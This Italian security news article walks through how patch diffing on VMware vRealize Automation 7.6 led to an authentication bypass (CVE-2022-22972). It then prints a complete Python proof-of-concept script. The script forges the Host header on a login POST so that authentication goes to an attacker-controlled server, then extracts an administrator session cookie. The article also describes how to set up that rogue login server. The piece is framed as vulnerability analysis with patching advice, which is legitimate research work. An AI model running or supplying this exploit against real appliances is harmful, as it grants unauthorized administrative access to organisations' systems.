VMware bypass dell’autenticazione. Analizziamo come si arriva al PoC di sfruttamento

Redazione RHC : 27 Maggio 2022 13:12

VMware ha recentemente corretto una vulnerabilità critica di bypass dell’autenticazione nei propri prodotti VMware Workspace ONE Access, Identity Manager e vRealize Automation (CVE-2022-22972).

Un attore malintenzionato con accesso all’interfaccia utente potrebbe essere in grado di ottenere l’accesso amministrativo senza la necessità di autenticarsi.

WMware fornisce istruzioni su patch e soluzioni di mitigazione, ma non dello sfruttamento del difetto di sicurezza. Scavare nella patch è un buon punto di partenza. vRealize Automation 7.6 contiene un vIDM incorporato. Da tenere presente che altri prodotti e versioni hanno flussi di lavoro ed endpoint di autenticazione diversi. 

Prova la Demo di Business Log! Adaptive SOC italiano Log management non solo per la grande Azienda, ma una suite di Audit file, controllo USB, asset, sicurezza e un Security Operation Center PERSONALE, che ti riporta tutte le operazioni necessarie al tuo PC per tutelare i tuoi dati e informati in caso di problemi nel tuo ambiente privato o di lavoro. Scarica ora la Demo di Business Log per 30gg Supporta Red Hot Cyber attraverso:  L'acquisto del fumetto sul Cybersecurity Awareness Ascoltando i nostri Podcast Seguendo RHC su WhatsApp Seguendo RHC su Telegram Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.

I download e i dettagli della patch sono disponibili qui https://kb.vmware.com/s/article/70911. 

Al momento della stesura di questo documento, la patch più recente che risolve la CVE-2022-22972 è la 28 che vi consigliamo di installarla il prima possibile.

Come si è arrivati alla PoC

VMware rilascia patch cumulative, il che significa che la patch 28 risolve tutte le vulnerabilità del prodotto. Ciò rende piuttosto difficile scoprire esattamente come viene affrontata la vulnerabilità più recente. 

Per rimediare a questo problema, si possono confrontare le due patch quindi la 27 con la 28.

Dopo aver estratto le patch, si scopre che sono presenti file zip denominati patch-vRA-7.6.0-19482496-HF27.content nella patch 27 e patch-vRA-7.6.0-19772459.19640138-HF28.content nella patch 28.

Estraendo questi file zip si può quindi avere accesso al contenuto delle patch. Non ci sono molte differenze degne di nota nelle cartelle, ma è presente un rpm del servizio Horizon che non è più al suo posto.

Usando rpm2cpio si può quindi estrarre il contenuto. 

Troviamo quindi tre differenze: dbConnection-0.1-jar-with-dependencies.jar, analytics-0.1.war, e frontend-01.war. 

Estraiamo quindi i .warfile per trovare quanto segue relativamente a frontend-01.war:

Diff del war frontend

In particolare, troviamo un nuovo HostHeaderFilter.class e alcune differenze in web.xml dove viene mostrato che il nuovo HostHeaderFilter che viene applicato a tutti i modelli di URL.

web.xml diff

Usando quindi un decompilatore Java, si può convertire il file HostHeaderFilter.class in HostHeaderFilter.java:

HostHeaderFilter.java

Vediamo che questo filtro rifiuta qualsiasi richiesta con un’intestazione Host ritenuta non valida. 

Questa è una cosa interessante da indagare e può essere appunto il modo per inviare strane intestazioni host.

Esame del runtime

Dopo aver esplorato senza successo vari endpoint, si nota qualcosa di strano durante l’invio di un’intestazione host non valida all’endpoint di accesso. 

Si imposta quindi l’ Host su un valore falso, ovvero “asfd”.

richiesta di intestazione host non valida

Non c’è nulla degno di nota nella richiesta stessa, ma se osserviamo horizon.log, possiamo vedere che l’applicazione sta cercando di risolvere “asdf“.

Errore di risoluzione DNS

Ciò indica che l’applicazione sta tentando di stabilire una connessione a ciò che abbiamo inserito nell’intestazione Host.

Esecuzione di un server di accesso

Il prossimo passo è quello di capire come l’app si connetta per vedere che tipo di informazioni stia tentando di inviare. Pertanto è possibile scrivere un semplice server https:

server https

Dopo aver inserito il nostro indirizzo IP nell’intestazione dell’host, vediamo una nuova eccezione nel registro:

Eccezione SSL

Questo errore indica che l’applicazione non è in grado di convalidare il nostro certificato. 

Questo ha senso perché il certificato sul nostro server è self signed. 

Dopo aver aggiunto il nostro certificato nell’archivio certificati Java dell’appliance, possiamo vedere che l’applicazione si connette effettivamente al nostro server e invia le informazioni di accesso in una richiesta HTTP POST. 

Da tenere presente che un utente malintenzionato non dovrebbe replicare questo passaggio. Potrebbero invece ospitare sul proprio server di accesso un server pubblico con un certificato valido.

connessione al server di autenticazione

L’applicazione si aspetta una risposta dal server HTTP per sapere se all’utente deve essere concesso o meno l’accesso. Si riscrive quindi il server per rispondere con uno stato 200 a qualsiasi richiesta POST.

server https

Con il nuovo server, siamo in grado di accedere con successo!

login effettuato con successo

Automatizzare l’exploit

Finora abbiamo utilizzato il proxy di Burp Suite per modificare le richieste inviate da un browser, ma ora vorremmo automatizzare questo flusso di lavoro per utilizzare degli exploit PoC. 

Alla fine si tratterebbe di inviare tramite metodo POST

SAAS/auth/login/embeddedauthbroker/callback

Dove nell’Host venga riportata una intestazione personalizzata. 

Questo endpoint richiede la codifica di alcuni metadati aggiuntivi nel corpo del POST. Se esaminiamo la fonte della pagina di accesso, troviamo le informazioni di cui abbiamo bisogno nei campi e dei moduli nascosti.

campi modulo nascosti

Il nostro POC invia le richieste a partire da /vcac dall’endpoint allo stesso modo di un browser e analizza la pagina di accesso per estrarre questi campi nascosti. 

Questi campi nascosti vengono quindi codificati nel corpo del POST finale con l’intestazione Host impostata sul nostro server di accesso personalizzato. Il POC analizza quindi la risposta per estrarre i cookie di autenticazione. Questi cookie possono essere utilizzati per eseguire azioni come l’utente scelto.

L’exploit PoC

Questo script può essere utilizzato ignorando l’autenticazione su vRealize Automation 7.6 utilizzando la CVE-2022-22972. Workspace ONE e vIDM hanno endpoint di autenticazione diversi, ma il punto cruciale della vulnerabilità rimane lo stesso.

import argparse
import requests
import urllib3
import sys

from bs4 import BeautifulSoup
from urllib.parse import urlparse

urllib3.disable_warnings()

# parse arguments
parser = argparse.ArgumentParser(description='POC for CVE-2022-22972')
parser.add_argument('url', type=str, help='Base url of appliance')
parser.add_argument('--username', '-u', required=False, default='administrator',
                    help='Name of local user to use for login')
parser.add_argument('--host', required=False, default='ei3wpt9100.execute-api.us-east-2.amazonaws.com',
                    help='Name of host to to use in Host header replacement. This host should have a login server running')
args = parser.parse_args()


url = args.url
if not url.endswith('/'):
    url += "/"

# Create a new session
s = requests.Session()

# Uncomment the following to proxy through BurpSuite
# s.proxies = {
#     "https": "https://127.0.0.1:8080"
# }


# Send an initial get request to get a session cookie
resp = s.get(url + "vcac", verify=False, allow_redirects=True)

# Get the url from the response in the event the user passed an ip
# address instead of a domain name
parsed_url = urlparse(resp.url)
url = parsed_url.scheme + "://" + parsed_url.netloc + "/"


# Send another get request with the original_uri parameter. This will cause
# a series of redirects ending with a login page with various hidden form fields that
# we need to extract for our final POST.
print("Extracting state from vcac redirects...")
params = {
    "original_uri": f"{url}vcac",
}
resp = s.get(
    url + "vcac/", verify=False, allow_redirects=True, params=params)

# Extract hidden forms fields
soup = BeautifulSoup(resp.text, 'html.parser')
form = soup.find('form')
if not form:
    print('Form not found for /vcac endpoint. This might be patched or you may be using this against something that isnt vRealize Automation')
    sys.exit()

data = {
    'protected_state': form.find('input', {'id': 'protected_state'}).get('value'),
    'userstore': form.find('input', {'id': 'userstore'}).get('value'),
    'username': args.username,
    'password': 'horizon',  # bogus password
    'userstoreDisplay': form.find('input', {'id': 'userstoreDisplay'}).get('value'),
    'horizonRelayState': form.find('input', {'name': 'horizonRelayState'}).get('value'),
    'stickyConnectorId': form.find('input', {'name': 'stickyConnectorId'}).get('value'),
    'action': 'Sign+in'
}

# Assemble to forms fields into the body of the POST
body = ""
for k, v in data.items():
    body += f'{k}={v}&'

# remove last &
body = body[0:len(body) - 1]


# Create the auth POST request
req = s.prepare_request(requests.Request('POST',
                        url + "SAAS/auth/login/embeddedauthbroker/callback",  data=body))

# Set the content type header. Set Host header for an endpoint that will return 200
# for requests to /SAAS/API/1.0/REST/auth/local/login
req.headers.update({
    "Content-type": "application/x-www-form-urlencoded",
    "Host": args.host
})

print("Sending POST to auth endpoint")
resp = s.send(req, verify=False, allow_redirects=False)

# Extract the cookies
print()
print(f"HZN={s.cookies.get('HZN')}")
print()
print("Set the HZN cookie in your browser to bypass authentication")

Riepilogo

La CVE-2022-22972 è una vulnerabilità di manipolazione dell’intestazione Host relativamente semplice. 

Gli aggressori motivati ​​non avrebbero difficoltà a sviluppare un exploit per questa vulnerabilità. Una rapida ricerca su Shodan.io per le applicazioni VMware interessate restituisce un numero piuttosto basso di organizzazioni che le espongono a Internet. 

Da notare che l’industria sanitaria, l’industria dell’istruzione e i governi sembrano far parte delle organizzazioni esposte, mettendole a rischio per lo sfruttamento attuale e futuro. 

Le organizzazioni dovrebbero affrontare questi problemi seguendo immediatamente le indicazioni contenute nel VMware Security Advisory.

Fonti
https://github.com/horizon3ai/CVE-2022-22972
https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-CVE-2022-22972-technical-deep-dive/
https://www.rapid7.com/blog/post/2022/05/19/CVE-2022-22972-critical-authentication-bypass-in-vmware-workspace-one-access-identity-manager-and-vrealize-automation/

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

Lista degli articoli